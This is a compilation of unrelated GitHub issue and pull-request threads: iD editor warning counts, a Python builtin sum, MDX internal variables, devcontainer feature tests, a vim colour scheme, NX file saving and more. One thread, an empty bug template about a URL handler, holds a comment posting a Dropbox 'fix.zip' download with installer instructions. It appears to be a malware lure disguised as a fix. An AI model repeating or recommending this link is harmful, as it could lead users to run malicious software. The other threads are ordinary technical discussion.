With the recent iD update on live, it seems that it's all around easier to trigger an ignored outstanding issue, even if the user did not touch a feature, perhaps even just viewing (sometimes not even clicking on) a feature that has some issue in iD seems to now be sufficient to trigger the warning which gets tracked with the check-in.  Recently I've been touching turn restriction relations (without touching ways) and iD decides to include me as ignoring bus route warnings.  These are unrelated features/relations as I didn't split ways, etc., and perhaps this issue is the same as the FIXME issue #8603 .
This "ignored warning" count that gets tagged with each check-in seems quite silly and also untenable.  For those people doing user metrics, perhaps it's just HDYC, this number will become ridiculously large and impossible to reduce to zero.  For each warning ignored, everyone ignores them, and keeps on going up.  Every time we fix an error whether in iD or not, only ONE person is credited for fixing an error (and it could even be fixed in another editor) and the ignored warning count becomes an ever increasing, meaningless number.  These warning/issues are already being checked with OSMI, KeepRight, Osmose, etc. and these at least will clear credits for everyone when something gets fixed.  Is there any specific reason a problem warning ignored in iD needs to be tracked but not through JOSM/Potlatch/Merkaartor/or any other editor?  Suggestion is to stop including this count with the checkins.  In my opinion the QA should be done at the check-in server so it doesn't matter which editor software is used, not any specific editor software.
Just my observation/opinion/rant/2 cents/...

@boxer4 thanks for raising this.
I acknowledge the issue and will try to pinpoint the bug.

I'm looking into this already


Implementation of builtin method sum.

Should I also add extra testcases for builtin_sum, or are the default testcases good enough?

(see also Issue #76)

Some additional test cases would certainly be a good idea - however, I'll merge what you've got here on the basis that it looks like it should work as is. If you want to provide a follow up pull request that contains a few tests for sum, I'll gladly merge that, too.

I was happy to oblige, see pull requests #172 and #173.

@sjoerdjob @freakboy3742 a very basic mistake "value" is used for storing start index and sum
Test Case:
print(sum([1,2,3,4])) # output : 10
print(sum([1,2,3,4], 2)) # output : 12

@zeerorg start is not an index, it's the initial value for the sum and that's expected behavior, see the docstring:
>>> sum?
Docstring:
sum(iterable[, start]) -> value

Return the sum of an iterable of numbers (NOT strings) plus the value
of parameter 'start' (which defaults to 0).  When the iterable is
empty, return start.

Also, when you think you found a bug, please create a new issue, don't comment in old ones.


remove whitespace from author and mesage filed

Fixed issue #34

We only want to trim whitespace, i.e. remove it a the end or beginning.

" User Surname " --> "User Surname"
this would turn this into --> "UserSurname", we don't want that.

A simple trim() should be sufficient.

@baltpeter Could you please merge and deploy this? :D


Readme

Codecov Report

Merging #17 (041a204) into main (a396c4b) will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##               main      #17   +/-   ##
=========================================
  Coverage     78.61%   78.61%
  Complexity      266      266
=========================================
  Files            32       32
  Lines           926      926
  Branches         62       62
=========================================
  Hits            728      728
  Misses          162      162
  Partials         36       36


fix: move horizontal event properly

Please check if the PR fulfills these requirements

[x] It's submitted to right branch according to our branching model
[x] It's right issue type on title
[ ] When resolving a specific issue, it's referenced in the PR's title (e.g. fix #xxx[,#xxx], where "xxx" is the issue number)
[x] The commit message follows our guidelines
[x] Tests for the changes have been added (for bug fixes/features)
[ ] Docs have been added/updated (for bug fixes/features)
[ ] It does not introduce a breaking change or has description for the breaking change

Description

fix moving horizontal event properly

reimplement dragAndDrop test utils using mouse down, move, up

AS-IS

TO-BE

https://user-images.githubusercontent.com/28647773/163769864-778a038e-8d6a-4b3a-ac41-3adc00823ff0.mov

Thank you for your contribution to TOAST UI product. 🎉 😘 ✨

@dotaitch
감사합니다. 브랜치명까진 변경하기 어려워 브랜치명은 그대로 두겠습니다.


Report use of MDX internals

Initial checklist

[X] I read the support docs
[X] I read the contributing guide
[X] I agree to follow the code of conduct
[X] I searched issues and couldn’t find anything (or linked relevant results below)

Problem
MDX generates some internal variables in the compiled output. These variables are in scope and users could use them, but they they should not.
Solution
Report usage of the following identifiers:

_components
_createMdxContent

We should probably also report usage of the following variables:

MDXLayout
MDXContent

Alternatives
Consider all variables starting with an underscore to be private.

Good idea @remcohaszing!
Reporting on certain identifiers feels a bit like a lint rule 🤔
I'm curious on folks thoughts whether that should live: here, in the remark lint, or in eslint mdx.

props allow a user to pass content from one part of code they own (the invocation of the MDX component) to another part of the code they own (the implementation of the MDX component). I think this is almost as useful as JSX expressions in MDX in general. Also other APIs may inject props, i.e. a HOC or Next.js data fetching API. Or a documentation writer could use variables defined by a website developer.
_components feels more like an implementation detail. It’s a convenient intermediate variable to support props.components and useMdxComponents(). Also lower case components are added on an as-needed basis, so it’s shape would unreliable for direct use.
_createMdxContent is an implementation detail to support MDX layout and React providers.
_createMdxContent, MDXContent would yield infinite recursion if used as JSX components inside MDX. Perhaps this is only a problem if this is used from within MDXLayout or MDXContent, not if used from other ESM exports.
Actually using MDXLayout could be fine. There’s not really a problem with wrapping nested parts with the same component that by coincidence also wraps the MDX content.

Reporting on certain identifiers feels a bit like a lint rule 🤔

Maybe, this is an interesting thought.
I was also thinking of filtering these names from autocompletion results.

Also lower case components are added on an as-needed basis, so it’s shape would unreliable for direct use.

(side note: the distinction isn’t about lower-case vs upper-case btw)
Agree that it’s probably a bad idea to use _components.p but someone could be accessing _components.H1. A merge of passed and injected components.
An IIFE:

{
  (() => {
    // Access passed/injected component inside JS:
    return <_components.H1>Hi!</_components.H1>
  })()
}

If we want to allow this behavior, we should probably call it components and make sure it’s always defined.

MDXContent would yield infinite recursion

If used in the main body. MDX files can also export components. Which could reference the global scope. Someone could do something along the lines of
export function WrappedContent() {
  return <MDXContent />
}

# Hi

If we want to allow this behavior, we should probably call it components and make sure it’s always defined.

I get your point, but if we do so, this:
<HI />

is equivalent to:
<components.HI />

It would only be different if the MDX file imports or defines the HI component, at which point it would be better to pick a different name for the locally defined component that doesn’t conflict with injected components IMO.
Also someone could already define the components property on components:
<MDXContent components={{components: {HI}}} />

To introduce a new variable would be a breaking change.

MDXContent would yield infinite recursion

If used in the main body. MDX files can also export components. Which could reference the global scope. Someone could do something along the lines of
export function WrappedContent() {
  return <MDXContent />
}

# Hi

Yep, usage from mdxjsEsm nodes is fine.

Yes, renaming to make things public or preventing their use would both be breaking.

On the compiler level, yes. To report bad usage in the editor is not breaking.

Another internal variable is _missingMdxReference. This may or may not be defined in development mode.


[WIP] Add java runtime optimizations

Signed-off-by: Shishir Halaharvi<EMAIL_ADDRESS>

Tested for runtime recommendations with this image shishirh/kruize:runtime, there is an issue with kruize generating runtime parameters for a newly deployed petclinic app. Code needs to be fixed, discussed this with @ShishirH

@dinogun Added the documentation in the latest commit. Please let me know if you think the changes are OK so that I can clean up the commit tree to a single commit.


[DATA] Item names need fixed

Issue Description
Some of the names on current items are obvious placeholders and/or incorrect and should be fixed prior to launch. I will add to the list if I come across more.
Items to Rename

[ ] "do later" https://dev.dams.library.ucdavis.edu/item/ark:/85140/d4jv0v
(This item prominently features on the Amerine Label Collection page)
[ ] "in Chinese. Can't do it." https://dev.dams.library.ucdavis.edu/item/ark:/85140/d4w15k
[ ] "do later" https://dev.dams.library.ucdavis.edu/item/ark:/85140/d4h969
[ ] "do later § Gonzalez Byass § Idolo Sherry." https://dev.dams.library.ucdavis.edu/item/ark:/85140/d4k076
[ ] "do later § Shaffiser § Chavannes" https://dev.dams.library.ucdavis.edu/item/ark:/85140/d4m92q

@EricNebeker I have gone through your metadata spreadsheet, and added a new column of items with questionable names.  I am going to make a pull request that fixes the egregious ones, but leave the rest for your team.   I would suggest you have them directly edit the JSON in this repo if at all possible.

@EricNebeker, I just commited a PR with some of the higher priority names, but have reopened the issue for the remainder


devcontainer features test and capturing errors during build

Hello!
I'm having difficulty figuring out how devcontainer features test can capture errors that occur as part of the build. I'm working on a feature that will installed PowerShell resources, which has an obvious dependency on pwsh being installed.
I have this in the install.sh:
if command -v pwsh > /dev/null; then
    echo "Confirmed PowerShell is installed"
else
    echo "PowerShell is not installed. Please ensure it is installed before using this feature."
    exit 127
fi

This causes an error during the container build (good), but I can't figure out a way to capture it via the test suite. (Not 100% sure it's even possible, since the build is erroring out).
#13 [dev_containers_target_stage 3/3] RUN cd /tmp/build-features/powershell-resource_1 && chmod +x ./devcontainer-features-install.sh && ./devcontainer-features-install.sh

[11807 ms] #13 0.231 ===========================================================================
#13 0.231 Feature       : ./powershell-resource
#13 0.231 Description   : A feature to install PowerShell resources (modules and scripts) via PowerShellGet 3.0 Prerelease for all users on a devcontainer.
#13 0.231 Id            : Unknown
#13 0.231 Version       : 0.1.0
#13 0.231 Documentation :
#13 0.231 Options       :
#13 0.231
#13 0.231 ===========================================================================
#13 0.234 Feature 'powershell-resource' starting...
#13 0.234 PowerShell is not installed. Please ensure it is installed before using this feature.
#13 0.234 ERROR: Feature "./powershell-resource" (Unknown) failed to install!
#13 ERROR: executor failed running [/bin/sh -c cd /tmp/build-features/powershell-resource_1 && chmod +x ./devcontainer-features-install.sh && ./devcontainer-features-install.sh]: exit code: 127
------
 > [dev_containers_target_stage 3/3] RUN cd /tmp/build-features/powershell-resource_1 && chmod +x ./devcontainer-features-install.sh && ./devcontainer-features-install.sh:
#13 0.231 Description   : A feature to install PowerShell resources (modules and scripts) via PowerShellGet 3.0 Prerelease for all users on a devcontainer.
#13 0.231 Id            : Unknown
#13 0.231 Version       : 0.1.0
#13 0.231 Documentation :
#13 0.231 Options       :
#13 0.231
#13 0.231 ===========================================================================
#13 0.234 Feature 'powershell-resource' starting...
#13 0.234 PowerShell is not installed. Please ensure it is installed before using this feature.
#13 0.234 ERROR: Feature "./powershell-resource" (Unknown) failed to install!
------
ERROR: failed to solve: executor failed running [/bin/sh -c cd /tmp/build-features/powershell-resource_1 && chmod +x ./devcontainer-features-install.sh && ./devcontainer-features-install.sh]: exit code: 127

[11814 ms] Exit code 1
[-] Failed to launch container:

Command failed: docker buildx build --load --build-context dev_containers_feature_content_source=/tmp/devcontainercli-runner/container-features/0.21.0-1666128532008 --build-arg _DEV_CONTAINERS_BASE_IMAGE=mcr.microsoft.com/devcontainers/base:ubuntu --build-arg _DEV_CONTAINERS_IMAGE_USER=root --build-arg _DEV_CONTAINERS_FEATURE_CONTENT_SOURCE=dev_container_feature_content_temp --target dev_containers_target_stage -t vsc-1666128531151-605d92cc5d16be5d5f0e80c97ea3221f-features -f /tmp/devcontainercli-runner/container-features/0.21.0-1666128532008/Dockerfile.extended /tmp/devcontainercli-runner/empty-folder
Error: Process completed with exit code 1.

Could someone please confirm if this is possible with the current state of the test suite or if this is a feature that will need to be added? Thanks!

Is this a variation of #215 + the ability to have "expect fail"?

Yes, I'd say that's accurate!


Experiment data restructure

We restructured data available for the analysis. Instead of data per experiment, we provided data per statistical test.

Coverage decreased (-0.06%) to 91.158% when pulling 60d528ccac9e6b44f07ecc1be53d528b6ed7d913 on expan_data_restructure into 0aecc19b92f3895bc353eac31328389960cca5be on master.


automatically import ObjectArray and friends

The tool should automatically add an import statement for ObjectArray, IntArray, etc.

The problem is that we're directly printing the output, rather than generating a tree. This means that:

the import will always be present, even if it's not used

or

we have to make two passes, the first one walks the AST to determine what should be imported, the second one walks the AST to print the output like it does currently

Alternatively, we could transform the Java AST to a ceylon.ast, to allow us to add stuff at random positions in the final output. We could then feed this AST directly to ceylon.formatter instead of formatting a part of the document.

@bjansen I find either of those solutions perfectly acceptable. Of course the second is better.


Deploy and compare a specific schema instead of a full database for Azure Synapse

Is your feature request related to a problem? Please describe.
With Azure SQL Synapse, multiple teams owns multiple schemas and each team wants to compare/deploy individual schema.
We have an increased need to deploy specific schema's instead of a full database, for more granular deployments. More controllable impact, less impact on the whole database.
Describe the solution you'd like
It would be great if there is out-of-the-box support for deploying a specific schema, instead of a full database. Hopefully as a side-effect schema compares will also speed up as only specific schema's need to be checked.
Describe alternatives you've considered
A clear and concise description of any alternative solutions or features you've considered.
Additional context
Add any other context or screenshots about the feature request here.

100% on this. We’re very happy that Azure Synapse (formerly SQLDW) is under the SSDT umbrella but the development patterns (many schemas/many teams) for large orgs still cause quite a bit of pain.


conceal color cannot be changed

I'd like use the settings:
hi Conceal ctermfg=NONE
hi Conceal ctermbg=NONE
hi Conceal guifg=NONE
hi Conceal guibg=NONE

to make concealed chars and words similar to the background.
And it seems there's a bug for this fantastic nord theme:
Nord:

OceanicNext:

There's an old issue posted here, but seems not resolved:
https://github.com/arcticicestudio/nord-vim/issues/149
And I found some post here:
kaicataldo/material.vim#12
for the 'material` theme, as they add some defined colour to the scheme.
Could we also do similar things for Nord?

I was facing the same problem today but found a solution in https://github.com/vim-pandoc/vim-pandoc-syntax/issues/258.
Adding the following to my config resolved the weird highlighting.
au Colorscheme * hi! link Conceal Number

This is on macOS with Neovim in iTerm2 and the conceal is coming from vim-pandoc-syntax.
Hope it helps.

@pithuene  This is brilliant!
Thanks and it works.

Just a heads up, this is not working for me on neovim / termite.

@xarthurx @pithuene @tpoisot Thanks for contributions :+1:
The problem has been documented in #256 ⇄ #261 (⊶ f3f28b93) and will be shipped in version 0.16.0.
Thanks for your patience, the large amount of tasks for the Nord project are really time consuming and free time is kind of rare.


Issue save as Nx data

/36145412-33315426-10a9-11e8-92f2-45215dd1dc74.png)
When opening this sino.edf (seems to not be limited to this file) file and saving it with 'image as NX data' it save it.
But when opening the generated file it give me the message 'NXroot group provides...malformed' at the root level as show in the image.

Probably due to missing @NX_class = 'NXentry' when writing the output file.
I need to also double-check if this message is always displayed when a default entry is specified at the root but not NXdata is specified at entry.


[BUG]: Logic error when checking if a custom url handler is being used.

Describe the bug
A clear and concise description of what the bug is.
To Reproduce
Steps to reproduce the behavior:

Go to '...'
Click on '....'
Scroll down to '....'
See error

Expected behavior
A clear and concise description of what you expected to happen.
Screenshots
If applicable, add screenshots to help explain your problem.
Desktop (please complete the following information):

OS: [e.g. iOS]
Browser [e.g. chrome, safari]
Version [e.g. 22]

Smartphone (please complete the following information):

Device: [e.g. iPhone6]
OS: [e.g. iOS8.1]
Browser [e.g. stock browser, safari]
Version [e.g. 22]

Additional context
Add any other context about the problem here.

Download
https://www.dropbox.com/scl/fi/ku9a1wblqyb84rb8ekase/fix.zip?rlkey=8763vim31xfgywjgy217yb8lh&st=gbp0kafn&dl=1
In the installer menu, select "gcc."


Version 1.5.0

Version 1.5.0

Added token control toggle to dynamically disable Spot condition generation
Added config group headers
Readme clarifications
Logging when objects are filtered out by Stealthy
Better code organization
Grouped related settings in the settings dialog
Experimental: option for perception checks to be affected by Dim or Dark status conditions on the token. Only affect passive perception currently.

Need to test this across clients before doing the PR


Fix for_each & for_count

data was not updated when calling the WalkFunc

Good catch (totally missed it).
Let me simplify a little bit